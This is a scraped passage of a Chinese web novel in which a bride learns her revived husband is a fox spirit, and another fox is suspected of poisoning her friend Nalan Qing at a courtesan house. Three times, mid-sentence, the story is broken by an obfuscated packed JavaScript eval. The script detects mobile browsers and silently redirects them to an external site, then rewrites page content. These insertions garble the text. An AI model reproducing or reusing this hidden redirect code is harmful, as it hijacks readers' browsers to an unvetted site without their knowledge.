“如今案件顺利告破,晚辈不日后便会对外宣告真相。此次前来,是想接晚辈的新婚夫人回家,还望岳丈成全。” “祝少卿心向案情,这本无可厚非。”元敬瑭正坐于主位,语气一如既往的沉稳威严,“但小女在祝家的这些天,并未受到该有的对待。况且这婚约年岁已久,如今时过境迁,是否要继续履行,还得听过小景自己的意见。” “岳丈说的是。” 元敬瑭又仔细打量了一番客座上的男子,丰神俊朗气度不凡,年纪轻轻便担任大理寺少卿的要职,做女婿当然是再适合不过的。可他并非是为权势弃女儿幸福于不顾之辈,于情于理,这件事都不该他来决断。 他站起身,道:“既然如此……小景,进来说吧。” 元和景撇撇嘴,心道果然。敬瑭毕竟多年习武,周围任何一点风吹草动都逃不过他的耳朵,恐怕早在元和景回来时,他便已经注意到了。 绯红裙摆轻巧越过门槛,聚在角落的光晕被搅成稀碎,琥珀般的瞳孔里也被映上一抹格格不入的艳色。对视的瞬间,元和景以对待客人的标准行了一礼,道:“见过祝少卿。” “不必多礼。” 祝长生说完这句,一时间竟是没有人再开口。元敬瑭也给两个孩子留下空间,招呼过后就先行离开了。 前厅里忽而陷入静默,只有空气中的浮灰无声涌动。元和景将目光落在祝长生身上,从头顶玉冠到样貌身形,说是幼时那个祝长生的放大版也不为过,可分明是相差无几的眉眼,她却莫名品出些不同于祝长生的气质来。 祝长生任由她看过,将假死办案的前因后果又说了一遍,只不过在单独告知她的版本里,还特意加上了周家坟的偶遇,和俘获齐竟那晚的情况。 末了,他道:“假死实属情有可原,婚约无需作废,你同我回去可好?” 元和景有些无措地挠了挠脸颊,当初也只是意气用事坚持嫁给了一个“死人”,可没想到婚后经历那么多怪事不说,那“死人”还能再找上门来,京城里写话本的怕是都不敢这么编。 当初面对姐姐时,和离答应得轻松,可真要面对当事人,元和景却不知如何开口了。略一思索,她决定徐徐图之,于是问:“你我二人并无感情,若我与你回去了,你该如何对我?” 沉吟片刻后,祝长生答:“我理应会好好待你,恪守夫妻之道。” 对方说得一板一眼很是认真,元和景竟不知如何再往下说。这时,祝长生又接着道:“既为人妇,你也应当守好本分,别再做出格之事,这不合规矩。” 元和景皱眉,脑海里竟突然想起那只翻开《女诫》给她看的狐狸来,心中也顿时有了思量,直言道:“还未见上几面,我便被扣上顶不合规矩的帽子,难道祝少卿平日里都是这般断案?” “此言并非责怪,只是那南风馆……” 话及一半,房梁上冷不丁传来清脆的掌声,带着缓慢而规律的节奏,听起来却毫无诚意。元和景抬头看去,只见垂下来的大片墨绿色衣袂,还有那个斜倚着竖梁笑意盎然的男子。 “小夫妻吵架啊,我最喜欢看了,再多来点儿。” 元和景心里咯噔一下,下意识问:“你怎么出来的?” 胡陆发出一声意味不明的低笑,温柔地对元和景说:“你忘了吗?我是狐妖。” 再看向另一人时,那张笑盈盈的脸已换了神色,声音依旧轻快,只是再无任何感情:“胡拾,你倒是清闲。” 元和景不可思议地瞪大眼睛,像是有什么东西在脑子里碎开了。曾几何时她也有过这般不切实际的猜想,可谁能想到事实竟然就是如此—— 胡陆之前告诉她,那只曾被她捡回来的红狐狸乃是狐妖,其名为胡拾。而今天,胡拾就这样以祝长生的样子出现在了眼前。 也就是说,当初那个引她去周家坟、被她带回家甚至同榻而眠的小狐狸就是祝长生! “你……” 可真的祝长生在哪?胡拾假扮祝长生的目的又是什么……纷至沓来的疑团砸得元和景头晕眼花,让人不知从何问起,更不知要如何面对这个狐妖夫君,六神无主时,她只能先快步逃离这个是非之地。 “胡陆,这些年为何不回骊山?” 祝长生还立于原地,面上让人看不出情绪,目光如炬地盯着那张陌生的脸。外界皆知狐族善借皮囊伪装,故而外形千变万化,但在他眼里,胡陆就算化成灰了他也会认得。 “没空。”胡陆收回视线,轻飘飘地说完这句后就摇身一变,成了只白狐狸的模样,几个跳跃便消失在了前厅内。 元和景一路小跑回到房间,关上门后还一阵阵回不过神。胸腔里的心跳撞得人发疼,她肆无忌惮地大口呼吸着,气息得以慢慢平复,可脑海里繁乱如麻的思绪却怎么也寻不到头。 如果祝长生就是胡拾,那从新婚夜到现在的一切事情都能说得通了,可狐妖这东西本该是志怪奇谈里的角色,用媚术诱惑赶考的书生入歧途,又以美色害得天子误国,这样的东西出现在自己身边,究竟是福是祸? 反正也想不出所以然来,元和景干脆借找钱来转移注意力,说好借给纳兰公子的钱还没凑,即便乡试还有小半年时间,赎身却是不宜耽搁下去的。 这么想着,元和景毫无防备地低头去找放在梳妆台抽屉里的木盒,直起身子时正好和一张倒挂的人脸打了个照面,她下意识要把手里的东西扔出去保命,电光火石间想到那是钱之后又连忙收手。 “鬼啊!” “别吵。” 元和景噤声了。 十一依旧是那副冷脸,声音极淡:“好久不见。” 元和景收回因惊讶而飞出去的下巴:“你……你不是祝长生的手下吗,怎么突然来找我?” 倒挂金钩的姿势似乎并未影响十一思考,她想了想,道:“他问我是继续跟他还是来保护你,我选后者。” 元和景顿时觉得眼泪都要出来了,心里感动得不行:“没想到你对我这么有感情……” “不是。”十一迅速打断,“保护你比较轻松。” “哦。” 元和景悻悻地把钱放回盒子里,犹豫了一下,还是忍不住问道:“那你可知道祝长生的真实身份?” 担心她误会,元和景又立马补充:“不是说大理寺少卿,是其他的。” 十一暗暗腰部用力正起身子,而后灵巧地跃下,做完这一系列动作后也丝毫不见气喘:“知道。” 元和景隐隐感觉她明白自己的意思,于是不再解释,问道:“那你没有什么看法吗?” 十一:“没有。” 元和景不服气地追问:“为什么没有?那可是狐妖,说不定会害人的。” 十一信步走到桌边坐下,很是自来熟地给自己倒了杯水,道:“这是他的事,我无须有看法,只要不做伤天害理之事,是人是狐又能怎样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957001|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “况且,这世上多的是比狐妖还可怕的东西。” 元和景点点头,对此深以为然,但她很快又满脸挫败地趴回了梳妆台面上,生无可恋地喃喃道:“可是……之前我还抱着它睡过觉,还不止一次!” 十一放下茶杯:“可你们不是夫妻么?” 元和景一怔,竟是当场被这句话噎住了,过了好一会才木讷地道:“是夫妻。” 后半天再无什么大事发生,元和景粗略算过手头的钱,最后还是鼓足勇气问姐姐借了些。问及理由时,元和景不忍心撒谎骗她,便将真相如实相告,元纪宁出乎意料地没有阻拦,只道这般坚强不屈的人,日后定是大有可为。 元和景对此也是深信不疑,毕竟她还记得第一次见面时,那么多人逼着她买下南风馆最贵的酒宴请大家,只有这个角落里的酒侍突然站出来对她说:“这瓶酒是赝品,本不值这么多钱,切莫为此破费。” 次日清晨,她便马不停蹄地赶去了南风馆。这算是她来得最早的一次,馆内还未营业,只有几个零零散散的伙计正在打扫卫生,大堂里安静得出奇,有谁招呼一声都能激起回音来。 听元和景表明完来意,那胖伙计暧昧地眯眼笑起来,摆摆手道:“姑娘,你这也来的太早了,咱们要中午才开门,哪有你这么心急的啊?” 元和景一听便知道对方误会了自己的意思,可那装着五十两银子的布兜还在手里攥着呢。总归是担心这么多钱拿在手里会出事,她只想赶紧交给纳兰卿,于是干脆不作解释,顺水推舟道:“你既然知道我急,那就让我进去。” 说着,她将几枚铜板无声地塞进那伙计手里,声音略微放低了些:“我看时候还早,打点小酒喝几杯也来得及,你说是吧。” 伙计脸上笑容更甚,腮帮的肥肉都抖动起来,手往裤兜边上一摸,铜板便消失不见了。他状似无意地往两边各看了一眼后才点点头,压着嗓子道:“去吧,路上注意点别被老板抓到。” “执剑路不通,执钱走万里”这句话说得还真不假,元和景正打算上楼,却突然被伙计叫住,对方下巴往她手边点了一下,问:“带的什么宝贝?” 提及此,元和景不由得警惕起来,手心的力道紧了又紧,胡乱丢下句“好东西”就自顾自走开,一路小跑着上了二楼。 看来,钱带太多也不是什么好事。 做贼似的穿过走廊,元和景的心情逐渐由忐忑转为激动,她只要一想象纳兰公子拿到这笔钱时喜悦的样子,心里就像有烟花炸开一般噼里啪啦响个不停。 等他赎过身后,就去其他店铺里谋个正经活计,一边做工一边读书,管他乡试要考多少次,三年也好五年也罢,就这么慢慢来,总会考上的! 是啊……都会越来越好的。 脑海里的画面实在美好,元和景实在没忍住轻笑出声来,终于到了最熟悉的木门前,她等不及纳兰卿来开门,囫囵敲过两下后就自己推开了。 然后,那躺在地上的尸体,以及蹲在一旁的男人,就这么直直撞入了眼里。 她从未见过这副样子的纳兰卿:白袍上沾了好多灰尘,向来整齐而柔顺的长发像废纸似的堆在地上,僵硬而冰冷的脸上了无生气,只有双目还倔强地怒睁着,欲裂的眼眦里满是不甘。 元和景根本不敢相信眼前的一切,三步作两步冲上去时差点将自己绊倒,最后几乎是以跌落的姿势摔在了那人跟前。可她顾不上喊疼,连忙伸出手去探那人的鼻息—— 空荡、沉寂,什么都没有。 ……纳兰卿死了。 昨天还笑着告诉她自己已考过童试的人,今日便死了? 元和景呆呆地扫视扫过周遭熟悉的陈设,明明什么都没变,却让人感觉如此陌生。末了,她只能将茫然的目光落在房间里另一人的身上。 “胡陆!你竟然……” 胡陆皱着眉,脸上头一次露出凝重而复杂的神情,沉声打断:“他不是我杀的。” 13. 非他所杀 正是亭午,外面日头高挂,医馆内却是凉如冰窖,窗口的一点温度徒劳地被风吹散,只有断续的抽噎声稀稀拉拉碎了一地。 “小姐,你先别难过了,大夫说纳兰公子还有一口气呢。” 纳兰卿在京城孑然一身,即便出了这样大的事也无人来看。胡陆早在县衙的人赶到前就已从窗口离开,衙役将纳兰卿送来就医,大夫刚看到时就被下吓得脸色大变,说再晚来一步就真的要无力回天了。 无论如何,总归还有一丝希望,元和景打起精神抹了眼角的泪,不过多时医馆的小童出来,说:“这位公子是误服了砒霜,方才师父为他催吐过。不过公子的身体实在虚弱,再加上中毒已深,之后如何还需观察后决断。” “姑娘干等在这也是空着急,不如早些回去,之后若有了情况,医馆都会及时向姑娘和县衙报备。” 小童一番话听得人心里七上八下好几次,可事实摆在面前,今天注定是是等不出什么好结果来的。元和景跟对方道过谢,又嘱咐几句后才失魂落魄地走出医馆。 趁着天色还早,元和景干脆又转道去了南风馆,大老远就看见有衙役在门口看守,不少人围在外面止不住向里张望,你一言我一语讨论得热火朝天。 “我就说这种见不得人的地方迟早要出事!” “可不是嘛,干脆封了才好,省得我哥那个不成器的儿子天天往这跑。” “让那柳淑兰天天赚些不干净的钱,这下好了吧……” 见这个阵仗,想进去的话怕是难如登天,元和景本想就此作罢,却是正好看到有两人从南风馆门口出来。她登时大喜过望,忙不迭下了轿子走过去,道:“周司直,贺寺正。” 自掏心案了结后,元和景与大理寺三人已有许久未见。周子萧和贺均依旧制服加身,腰侧佩剑,俨然是来办案的。 “元姑娘,没想到会在这里碰见你。” 两人略一抱拳后,周子萧先开口道。 怎么说也算曾并肩作战过,甫一见面还有些亲切,不过元和景实在没心思寒暄,直截了当地问:“此案牵扯不多,为何大理寺会介入?” 问题一出,两人立马迟疑起来。元和景见状连忙解释:“我并非瞎打听,只是此次受害人是我朋友,他现下还在医馆昏迷不醒,我实在坐立难安,就想来看看。” “原来如此,新县令才刚刚到任,少卿特命我等前来协助。”贺均神色一松,这才坦然说明来意。 原县令因包庇齐竟、掩盖真相落马,如今已被撤去官职终生不得入仕,此事元和景略有耳闻,护国大将军大义灭亲的美名更是传遍京城。相比之下,暗中操纵这一切的祝长生除了在众人口中莫名死了又活了之后,就再无其他消息。 “对了元姑娘,你身为发现现场第一人,虽说县衙已经问过,不过为免漏掉什么细节,你还是随我们回一趟大理寺吧。” “好。” 正好她也有事,只能与祝长生说。 时隔多日后再次从大理寺正门过,这中间又发生了许多事,元和景此时也已是不同心境。甫一入大堂,她便迫不及待对面前人说:“胡陆!” “纳兰卿……是胡陆杀的!” 祝长生本是一副公事公办的模样,闻言神色微动。主位旁侧的小桌后,云青正要提笔写下,却很快被制止—— “此次问询不必记录,你先下去吧。” 云青抬头看了看祝长生,似乎对此有些惊讶,但她并未说什么,应了声“是”后便起身走出大堂。 虽说昨日才和祝长生在元家闹了不愉快,但现在也不是计较那些小事的时候,毕竟是人命关天之际,元和景直接略去了铺垫,先将今早所闻一一道出,而后又将自己的推理也说来: “捉拿齐竟那晚,胡陆曾将我带入幻境,说他要找一个只有我知道下落的人,当时并未放在心上,现在才想起来,那天的前一日我曾去过南风馆找纳兰公子。” 听及此,祝长生的脸色很明显沉了几分,但元和景只顾着将想法和盘托出,丝毫没留意到这点变化,自顾自地接着道:“今天胡陆能找到纳兰公子,肯定也是因为我昨日去了南风馆。” 说这话时,自己间接杀了人的结论突兀地冒了出来,元和景先是一愣,随即感觉浑身如坠冰窖,一个可怕的念头在脑海里缓缓成形—— 如果她没去找纳兰卿,那他是不是就不会死? 蛛丝马迹皆在此刻串联成线,饶是元和景再不愿意相信,可事实就是如此,她是胡陆完成计划的变量之一,可她却偏偏遂了胡陆的愿,才让这一切走向了无法挽回的地步。 再开口时,元和景才发现她的声音已经抖得不成样子:“是……是我害死了纳兰公子。” 双腿一阵阵发软,元和景再也支撑不住身子,将要摔下去时却跌入一个带着暖意的怀抱,祝长生的声音突然离得很近,就在她的耳畔响起:“此事错不在你。” “若是胡陆对纳兰卿真有杀心,即便没有你,他也有别的办法得逞,所以……无须自责。” 说话时带起的胸腔震动在手下清晰可闻,带着让人安心的频率,让那些乱七八糟的情绪缓缓踏到实处。鼻尖传来很清淡的熏香味道,相比市面上热卖的花果香来说简直聊胜于无,但却莫名好闻极了。 元和景下意识深吸了好几口气,待心头平静下后才直起身子去看对方,道:“可他是狐妖,来去自如又捉摸不定,想抓到他简直难如登天。” 祝长生不知何时又恢复了那副严肃正经的模样,盯着元和景的眼睛认真地道:“即便是狐族,也没有随意杀人的道理。如果此事真是胡陆所为,我会尽全力抓他归案。” 得到大理寺少卿的承诺,元和景没理由不相信,她自知留在这里也帮不上什么忙,于是没过多久便道了告辞。正好天色已晚,折腾过这样一大圈后,也该回家去了。 南风馆一案虽不是惊天动地的大事,但京城里消息向来传得极快,元纪宁自然能知晓。面对姐姐的关心和叹惋,元和景只能强打精神应对,将借来的钱还回去时,元纪宁的手还在发颤,毕竟谁也没想到,这笔钱会以如此方式归回。 别过元纪宁,元和景心不在焉地往房间走,推开门却正好迎面撞见一个绝对不该出现在这里的人—— 明明身上背着命案,对方竟然还能优哉游哉地玩茶杯,好不容易消解些许的悲伤登时化作怒火,元和景二话不说冲进房门,捞起最近的独凳子就要往他脸上招呼。 胡陆灵活地闪身避开,说话时连气息都未有变化:“虽然我很想亲手杀了他,但人不是我杀的诶……” 元和景哪里听得进去他说话,心里只想把这人砸死,下手也不考虑轻重。胡陆一时不查被砸到袖角,虽然人没事,但风掠过耳畔时还是被惊出了一身冷汗。 “我进去时人就已经死了,此事本来就与我无关。” 或许是元和景怒气上头时潜力爆发,胡陆竟然渐渐躲得吃力起来。又是一凳子擦着耳畔过,胡陆也终于被激起脾气,手往桌上重重一拍,茶壶瓷杯顿时碎裂,乱七八糟的碎片和茶水飞溅开来。 元和景的动作凝滞片刻,胡陆也因此得了空闲,厉声道:“我不过出于好心前来解释一番,你若是再无理取闹,休怪我无情!” 回答他的,是对着面门直直飞来的四脚木凳。 “你好心你无辜……那你当初三番五次来找我打听他的下落?纳兰公子好不容易才考过童试,当初受那么多委屈白眼他都坚持了下来,现在赎身钱也攒够了,本来只差一步就能获得自由……” “可是……为什么啊?” 元和景再也压不住哭泣的冲动,任凭眼泪争先恐后在脸颊滑落,双手也只能无力地垂下,握拳的关节处已经隐隐泛白。 “为什么啊?” 胡陆被这突然的变化打得措手不及,面上一僵,而后有些茫然地眨了眨眼,像是从未预料到她会哭一样。 不知道是什么原因,他也跟着沉默下来。等元和景终于有心思去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957002|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他时,却发现原地早已没有人了。 她当机立断出去找十一,哀求她带自己去追胡陆。十一虽然有些惊讶,但还是暂且压下心头疑惑,带着元和景足尖轻点飞上屋檐,几个跨步间已将元府落于身后。 元和景隐约有预感,如果这次让胡陆逃走,之后还想见到他只会更难。夜风寒凉,吹得人忍不住瑟瑟发抖,十一倒是状态更好些。没过多久,她们便在前方发现一个跳跃的白色身影。 “是他,快追!” 胡陆在元和景面前变成原形已有好几次,她绝对不会认错。十一全程未发一言,只不过几个瞬息,两方距离已被拉近不少。 尚且没空感叹十一的轻功之高强,元和景目光死死盯住那只狐狸,只见它灵活地转了方向,竟是朝着纳兰卿所在的医馆那边去了。 元和景心里暗道不好,连忙让十一改道去医馆。可终究还是来晚一步,等被小童带着进入纳兰卿的房间时,两人只看见那个白色影子消失在了纳兰卿胸口处。 “两位小姐可放心了?病人还好好躺着呢,你们这样大半夜闯进来,耽误了病情我可担待不起。” 小童语气里丝毫不掩饰怨怼,应是完全没注意到刚才的变化,而元和景跟十一交换个眼神,都从彼此眼中看到了确定之色。 找借口支开小童后,元和景小心翼翼地朝着纳兰卿走去。对方还平静地躺在床上,呼吸起伏很轻,面色如纸一般苍白,看起来和早上无异。 可就在她将要接近时,纳兰卿突然睁开了眼,瞳孔在烛火照映下泛着幽幽的绿光。 元和景立马明白过来:“胡陆,你竟然……” 床上的“纳兰卿”幽幽地叹了口气,开口时中气十足,丝毫不见病人的虚弱:“你既然要对我穷追不舍,那我只能出此下策,若是你真铁了心要杀我,那便动手吧。” 这便是算准了元和景不敢对纳兰卿的身体怎么样,故而开始有恃无恐起来。事实也的确如此,元和景手上的拳头紧了又紧,最后还是只能无奈地松开。 “等你出来,我必定将你千刀万剐!” 恨恨地丢下这句话,元和景愤然离开,刚踏出房门,十一问:“若是需要,我可在此监视。” 元和景没想到十一会主动提及,正惊讶时,对方却像早有预料般,淡淡道:“这种事我做惯了,放心便是。” 说罢,十一一个跃身消失在眼前,元和景只能先将感谢吞回肚子里,心想着明日就把此事告诉祝长生,同为狐狸,他应该有办法将胡陆逼出来。 和离一事虽然还未了结,但毕竟人命当前,那些无伤大雅儿女私情便自然而然被抛诸脑后。可等元和景第二日赶到大理寺时,却得了祝长生十分笃定的结论:纳兰卿不是胡陆所杀。 元和景当即跳起来反驳:“怎么可能!当时只有胡陆一人在现场,而且他昨晚还来找我,如果不是心虚,他干嘛跑这一遭?” 祝长生闻言立马正色,问道:“他昨夜来找你了?” 元和景将当时经历一五一十告诉祝长生,对方沉吟片刻,眸中的复杂之色稍纵即逝,再抬头时,他道:“这么看来,凶手的确不会是他。” “这其一,手法不对。胡陆身为狐族,有的是杀人于无形的方法,但医馆那边结论已出,纳兰卿是为中毒,之后再无其他内外伤。” “其二,动机也对不上。”说着,祝长生将目光落在元和景身上,“你觉得,胡陆找他会是为了谋财吗?” 元和景虽然没有立刻回应,但心里的答案早已呼之欲出。若是想谋财,胡陆大可去谋那些高官商贾的财,何必来一个南风馆清倌这里大费周章。 祝长生心下了然,继续道:“纳兰卿房间里完全没有挣扎或是打斗的痕迹,但被褥书案却被翻动过,县衙核查过他的私人物品,发现所有钱财尽数消失了。” 元和景惊讶地抬起头:“所以,你是说……” “具体结论尚未可知,但能确定的是,这毒药应是纳兰卿自愿服下的。” 14. 白狐往事 有下属来向祝长生禀告公务,元和景只好先离开,可等她走出大理寺坐上轿子后,手脚都还是冰凉的。 她想不到有谁能让纳兰卿心甘情愿地喝下毒药……明明白日里还满脸喜色地说着自己考过童试的事,甚至不惜放下身段借钱赎身,他应当比任何人都憧憬往后的日子,又怎会轻而易举地放弃生命? 那天晚上,一定发生了什么。 这样想着,元和景吩咐车夫马不停蹄赶去医馆。大夫和小童都说病人还没醒,但元和景昨夜亲眼看着胡陆钻进了纳兰卿身体,在此监视的十一也并未传来消息,那就说明胡陆一定还在这里。 准确来说,还在纳兰卿的身体里。 元和景借口想和纳兰公子单独相处,小童虽因昨晚的事对她存了几分戒备,但到底还是没有阻拦,只说了不宜留太久。等屋内只剩下两人时,还未等元和景先有动作,床上那人已经睁开了眼。 一夜过去,元和景已经冷静许多,她板着脸冷冰冰地问:“你还要在这里待到什么时候?” 纳兰卿……准确来说是胡陆,不紧不慢地坐成个最舒服的姿势,道:“等你查出凶手再说吧,免得我好心解释,却无人领情,还要被人穷追不舍。” 胡陆的语调一向很轻,听起来总感觉带着几分傲慢意味,可纳兰卿同元和景说话时总是淡而温和的,如早春晨风般凉而不寒。乍一听见纳兰卿的声音说出这样调调的话,真叫人浑身都不舒坦。 元和景忍下心头的违和感,并不理会他的阴阳,道:“既然不是你杀的,那你为何出现在南风馆,你之前一直跟我说要找人,找的就是纳兰公子吧。” 胡陆背倚着床头,好整以暇地看着元和景,大方承认道:“不错,我就是在找他。” “那……是因为我去了南风馆,所以你才找到他的?” 喉头突然止不住地发颤,元和景费了些力气才问出这个问题。虽说已经猜得八九不离十,但看到胡陆亲口承认时,她那尚存侥幸的心也终究是沉了下去。 无论凶手是不是胡陆,她都给纳兰卿带去了祸端……这已是不争的事实。 元和景一下子不知该如何面对纳兰卿,即使心里清楚眼前人只不过顶着他的皮囊,可只要一对上那双沉静如水的眼眸,她就像被毒哑了似的什么也说不出来了。 “为什么?”嗓子哑得厉害,元和景却只是重复,“为什么……” 胡陆定定地看着她,目光中竟透出几分罕见的落寞来,过了好一会,他才开口:“想知道原因的话,不如听我讲个故事。” 不理会元和景是否同意,胡陆垂下眼睫,自顾自地道:“从前有两只小狐狸,他们偷溜去人族的地界玩。弟弟不小心被捕兽夹夹住疼得直哭,哥哥在旁边急得团团转,最后,哥哥决定跑家去搬救兵。” 元和景起初还有些惊讶,没想到胡陆会突然讲起这样一个故事。不过听到这里,她已然能明白:故事里的哥哥就是胡陆本人,而弟弟……很有可能是胡拾,也就是现在的祝长生。 “哥哥一心想着救弟弟,却忘了警惕周围的环境,于是就在回去的路上,他掉进了山里猎户的陷阱。” 元和景心中顿觉不妙,连忙问道:“然后呢?” 胡陆抬头看了她一眼,语气依然轻松:“然后它被猎户捉住关进了笼子里。猎户也许是心情不好,便把气全洒在这只狐狸上。用烧得发红的炭烫它的毛、将它拎起来往地上摔,还用石头砸它脑袋,还有的……我也记不清了。” 迎着元和景惊恐的表情,胡陆接着道:“还把它和凶狠至极的猎狗关在一起,让它们打架,可这么小的狐狸哪是猎狗的对手,没一会就被撕咬得血肉模糊。可猎户只顾着喝酒,顾着笑,丝毫不管狐狸的死活。” 元和景毕竟是连血都没见过的大小姐,听及此已被吓得浑身战栗不止,可让她害怕的不仅仅是故事,更多是因为,这故事的主人公现在就在她面前! “你……” 胡陆相比下倒是淡定许多,他慢悠悠地撑着下巴,将结局娓娓道来:“幸好前来寻仇的狼群及时赶到,把猎户和狗都撕了个粉碎,狐狸被母狼叼走,因此捡回来一条命。” 结合前面发生的种种,元和景不可置信地得出结论:“所以,那个猎户就是纳兰公子的家人?” 胡陆粲然一笑,似是欣慰于她的聪明:“不错,虽然猎户已经死了十几年,可那令人作呕的血液气味,我一辈子也忘不掉。” 在讲述过程中,胡陆脸上没有任何表情,话里的起伏也极少,在旁人看来倒真像是在讲什么无关紧要的故事。只有在最后一句中,他悄然加重语气,像是要把那些可怕的记忆嚼成碎骨…… 又或是给自己下了道诅咒。 之后过去那么多年,直到胡陆在元和景大婚那天发现她身上有熟悉的气息,夜里出手时却被突然出现的胡拾拦截,这滔天的恨意才有了新的宣泄口。 纳兰卿应该讨厌极了南风馆,可若不是有那里经年难散的厚重脂粉作遮掩,他也许在更早的时候便被胡陆找到了。 沉默来得突如其来,元和景直觉此时该说点什么,临了却不知该如何开口。 若胡陆想杀纳兰卿的原因再简单些,纯粹些,她大可以把全部罪责都推到他身上,叉着腰怒斥他藐视王法草结人命,但千不该万不该……他原本也只是个无辜的受害者。 事已至此,胡陆也算大仇得报,可在他脸上,元和景丝毫看不到恩怨了结的快意和舒畅。 就在这阵难捱的静默中,胡陆忽然笑起来,音调短而轻快。元和景正不明所以时,听见对方道:“怎么讲的我的故事,你这位纳兰公子却不想活了,真是奇也怪哉。” 元和景连忙正色道:“什么意思?” “字面意思。”胡陆又换上那副漫不经心的神情,好像方才的落寞只是错觉,“他的魂魄还在身体里,虽然虚弱,但还是完好的,不过现在……有些消散的势头了。” 元和景脑子一空,下意识就要去叫大夫,还是胡陆先一步叫住她:“人间的大夫能治身体的毛病,魂魄的事情他可管不了,否则这阴阳秩序就该乱套了。” “那怎么办,总不能就这么干等着吧。” 三魂七魄存于体内,生前听从自己差遣,死后由无常带走,无人可插手其中秩序。若非是大限已至,便只有本人主动放弃了求生意志,魂魄才会消散。 元和景已然急得如热锅上的蚂蚁,胡陆却是眼中笑意更盛,玩味地道:“没想到你竟喜欢他到如此地步,就是不知道我那个好弟弟知晓后,心情该是如何。” “我不是……” 像是想到什么,胡陆突然来了精神,眸光一转,径直打断她的话:“若你真喜欢这小白脸的皮囊,不如我就将这身体彻底占为己有,正好上个壳子我也看腻了,你不必再费尽心思去救一个濒死之人,如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957003|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>元和景明白他是误会了自己和纳兰卿的关系,如果放在平时,她也懒得多做解释,可现在纳兰卿正是垂危之际,胡陆就这么轻飘飘地给他下了判决,好像活生生的一条人命,还不比风流情事值得让人上心。 悲伤和愤怒交织在心头,元和景义正言辞道:“我跟纳兰公子一直都是很好的朋友,我欣赏他的气节,敬佩他的毅力,而你……” “一无风骨二无姿态,就算是占着他的身体,你也连他的一根手指头也比不上!” 至此,元和景于胡陆再没什么好说的,还不如趁这时间去想想办法,或许还能换得纳兰卿一线生机。 走出医馆时正正对上一张从天而降的倒挂脸,元和景一回生二回熟,先定了定神,而后面色不改地道:“十一,下次能换个出场方式吗?” “哦。” 这么说着,十一翻身从屋檐下来,双手抱胸的姿势没变,佩剑也还抱在怀里。 “那只狐狸尚未有什么动作,有人来时他便装睡,不知用了什么法子,竟让医师也查不出端倪。” 结合之前祝长生的推理,胡陆已然摆脱嫌疑,不过纳兰卿的状况还是需要多加留意,元和景只好拜托十一继续帮忙盯着,自己则往南风馆赶去。 祝长生曾说今日还要前往南风馆调查,想必此时去那里找他正好。因着这命案,南风馆已被封锁,门口有衙役时刻把守,但围观群众相比昨天已是稀稀拉拉,大多人只是张望一眼再评判上一句,便匆匆离开了。 毕竟不是发生在自己身上的事,稀奇劲儿消减下去后,日子该过还得照样过。 元和景问过衙役,却是得到祝长生已经离开的消息,刚打算去大理寺,她却被突然出现的一人拦住去路。 对方一袭素袍,五官分明,眉眼间尽是和煦之意,道:“鄙人魏棹,见过元小姐。” 元和景想不起来自己和这人有过什么交集,但见他没有恶意,于是停下脚步,问道:“我们可认识?” 这话问得直接,魏棹却未有怒意,反而笑着说:“元小姐不认识我,但我却是在南风馆里见过元小姐许多次的。我素来和纳兰卿交好,他对小姐的心思,我也都看在眼里。” 语气里隐隐透出的暧昧之意让元和景忍不住皱眉,但既然这魏棹与纳兰公子关系尚可,说不定能在他这里问出些线索来。况且能在这里被对方拦个正着,说是巧合也有些牵强了。 “魏公子有话想说?” 既然各怀目的,那便没必要作无谓的拉扯。 魏棹眼中闪过几分诧异,应该是没想到她会这么直接,待平复好心情后,他才道:“元小姐果然聪慧,有关纳兰卿的死因,我的确有些话想同元小姐说说,不知可否赏脸?” 元和景心觉奇怪,便直截了当地问:“有关此案的线索,魏公子为何不与县衙和大理寺交代?你明知我身为少卿夫人,今日所言迟早会被祝少卿知晓,瞒过眼下这一遭并无意义。” 魏棹浅浅勾唇,俯身朝她微微凑近了些,音调极轻:“元小姐所说不错,可这毕竟在南风馆,总有些事情是不便摆在台面上说的。” “纳兰卿,也是如此。” 丢下最后一句,魏棹自顾自转身,堪堪迈出两步,背后便传来声音—— “愿闻其详。” 男人唇角笑意更深,抬眸时眼底阴沉一片,他并不回头,只是脚下复又开始动作,开口道:“请随我来。” 15. 清者难清 为提防对方耍什么花招,元和景一开始不敢跟得太紧,但魏棹看起来似乎并不在意,带着人走到南风馆附近的一座茶楼前才停下脚步,回头对她做了个邀请的手势,道:“元小姐,请吧。” 小二将两人引进包厢,上好茶后便离开了。可元和景此时毫无喝茶的心思,忙问:“你究竟要说什么?” 屋内装潢素而雅致,屏风上绣着风景画,山水相接处正好被袅袅茶香熏染出一片雾色。魏棹先给元和景倒了杯茶,然后才悠悠然道: 